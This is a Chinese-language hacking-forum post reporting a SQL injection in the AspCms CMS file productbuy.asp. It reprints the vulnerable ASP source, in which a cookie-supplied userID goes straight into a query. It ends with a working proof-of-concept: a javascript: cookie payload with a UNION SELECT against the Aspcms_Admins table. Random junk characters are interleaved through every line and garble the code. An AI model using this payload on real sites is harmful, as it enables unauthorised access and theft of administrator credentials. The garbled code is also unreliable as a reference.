好久没上土司了,上来一看发现在删号名单内.....$ Y H0 @7 R1 m. ]; B5 {6 @
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
2 p4 a1 U* H: H, |( X, c废话不多说,看代码:, ?( Y E) B+ T+ Z3 Z( O( s8 h
5 z i3 Z! A! X Z' e5 h9 U
<%0 x8 y" }& d* G! L$ x9 |& u
7 L5 c5 x8 F) ]7 }- S5 x! q3 U
if action = "buy" then1 z# C% O. E3 M/ h# H& I1 U
" j5 p. {( G3 ~" R9 ] addOrder()
- f/ `5 n6 D6 g
5 z( A+ }/ ]2 ~/ e# o2 selse
5 E7 \& ]4 u- O4 {* O [
* L( A: M6 t, p& E+ X echoContent()
3 Z: ?2 C, W4 e+ M' U$ }
$ b B- q+ o$ G. I. Q/ B0 p0 xend if
. T1 r$ ?# ~! Q9 T0 Q1 i7 W) t2 Z/ f9 N. [- S! ~
& v0 e6 h1 d9 H; @
8 _- q3 I- x9 e/ ]" R; N
……略过
$ @0 c3 l7 j' |/ v3 ^
7 ^; O& G- h$ X7 h7 ]) b5 E1 ~0 f
# _. ^4 X8 ^( o" s5 M9 Y3 r7 n5 z6 r, m) M( o
Sub echoContent()
( S7 ]7 a) _( `1 g# I$ b) n0 R, u6 N6 f) H: ~
dim id
1 ^ l; n: |5 g% x' T9 g' v7 |5 l) G" ^) i" q6 C' Q4 b
id=getForm("id","get")
. G. W( @) D9 Q- N
6 [. o7 @ O/ { # G# K, ~( V2 {& z$ ?; v
( p8 Z, h* I; |) [! |
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" : r9 y; [- G$ N! M+ U1 ~
9 ^! J9 \8 ?7 \4 C3 b
6 G& d5 w& o! J, l& N5 N
% T- a, k6 B; v* l" w9 s
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")6 z5 Z! ] o# }* m% p2 G
) U' e) A, q% s, Q9 ~$ d( `
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct" O: O7 v% V6 _
# m. }' S& Z6 y5 P Q Dim templatePath,tempStr* ^. L% O' W% O' A; ~" G4 D
9 m' c' D; O0 Y0 _2 X templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
, x& p4 W+ s0 e2 B% }% i) l0 H% ?: v% B) D1 M4 G
/ S7 N2 D$ p+ X
% u) x1 }! j8 ^/ @9 @
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")8 {2 u @8 {/ \/ t B, T
, F6 d; _+ O: B" l4 O1 L4 l" Y2 _ selectproduct=rsObj(0)- x6 _% \: H- E: ~
5 y1 V3 T/ @- q V5 }5 J* @
( x: s8 s2 x1 i1 M/ F+ @ F5 `6 I3 ?4 U% |+ G
Dim linkman,gender,phone,mobile,email,qq,address,postcode3 G3 M: @% r- U/ A1 _# e w
- h; ?, @4 i$ L. ~- q( t
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0$ U% r& o0 u. x$ O" i
5 l* v, G4 O) z: \1 M, F
if rCookie("loginstatus")=1 then
. X* n* f# T' P9 d6 n% M6 G T, @8 e& S, N* |( C( e$ a7 ?& \7 H
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1"), I, v k% P; c+ _' z
- m1 i* k! b v; q
linkman=rsObj("truename")
6 d! [4 y- f; S& t
6 o, _( U# x3 f& m+ W gender=rsObj("gender")" m# P$ N+ R( c4 t- N) {
# z4 o) ?# B0 C) m phone=rsObj("phone")
' @" w; V* M7 W1 K3 v
8 R& |9 J! f% \ M5 B# }1 l ^ mobile=rsObj("mobile")
( M7 E/ a/ K6 ~! b. U- X4 C) b4 a3 l |
email=rsObj("email")
0 `1 j$ a2 _. C5 Y& u- P5 d
$ X* E+ U9 A7 k9 W, z, S0 H qq=rsObj("qq")
, n' ^5 g% k p: e3 G: q) Q
6 W5 H6 Z% q0 q8 x. ~) d address=rsObj("address")% @) M& |9 Y$ G( x) M0 k6 S
1 f: l8 ]5 @' f$ o8 b/ o8 o
postcode=rsObj("postcode")+ Z- `( _+ J; l' t, T0 G
; }2 c% S/ E1 y5 J' u, t
else + y2 d5 l- ?* H- {, o- v' _
5 q. a- f5 d# q/ _$ F, }! }! \
gender=1
, l* S O: {( A8 S. L
1 l2 I ?$ P6 K; T end if
# |2 r$ M# I/ u/ s- b- d8 C- t K& P, Y$ Z* ^4 ~5 t
rsObj.close()
6 j2 z, _3 g: ]9 x* j; U* B/ k# H0 u+ }+ w$ P
1 ?- H0 s8 k& Y- d
. y9 N U: I' L( v' C with templateObj
! f8 |. I5 A: u. X3 x0 q$ k
( `7 A6 X# C0 ~1 K0 T) u .content=loadFile(templatePath)
& ]: O+ A# N( Z! l" r* U" a" H/ @
.parseHtml()% M* K& ~8 s" D! f$ U3 C0 T- S ~
9 h6 R' S9 k' x4 a1 d
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)* U9 ~/ e8 b5 v
/ ]' I! O) A P. p8 G- H
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
0 \' W$ d* K+ i/ T4 d V) P4 w
5 Q" ]# Q# u2 ]8 B) n% i) H: a# b .content=replaceStr(.content,"[aspcms:gender]",gender)
6 S# G }, Y/ P0 J+ y% |; T( Y" D1 G; k7 @9 B9 j _$ p
.content=replaceStr(.content,"[aspcms:phone]",phone) 6 ?0 E* t" U* v! }! S
$ ` n: }6 m) W
.content=replaceStr(.content,"[aspcms:mobile]",mobile) 8 |$ A7 b; |3 K0 |" X2 F; _4 |
' G2 _. ^2 b( d; A* R* W
.content=replaceStr(.content,"[aspcms:email]",email) ; U" H3 f9 {& ^- U9 P, c0 f1 X. G
7 [! s% y8 _% k$ U, O- B! [9 l .content=replaceStr(.content,"[aspcms:qq]",qq) # A A+ Y) V: C' M
2 ^0 p3 }( s, P1 o' j
.content=replaceStr(.content,"[aspcms:address]",address)
% P) ^# v3 U* E; R
2 G8 l4 k3 M0 M7 _( Y" M" u+ ? .content=replaceStr(.content,"[aspcms:postcode]",postcode) ! E+ T: _. l! i
& P5 ~1 @& Y. a& G7 R4 m. x .parseCommon() 5 X( ]: v' G" C( v9 N
+ V* _* H( }. K: K& n0 g$ z2 E
echo .content
' X5 b b% y# h) v, ]% U1 W* x
2 q0 P. e( D7 J0 \* |; D end with
& R& H6 ^* F* p# x8 d
3 C1 {2 q5 y; k% s set templateobj =nothing : terminateAllObjects, G+ n3 q" k/ t) j
: o% c! c9 U* m6 a; a/ wEnd Sub- w( v0 u6 V+ j8 w; Z- v; ]- Z6 e
漏洞很明显,没啥好说的
' z' t- ^3 A' m( Qpoc:3 ?7 H* j! ^3 G3 N
$ G) J8 a. u- Bjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
( u/ p, S+ f- o' B+ j
9 e$ t) V8 `, J! } |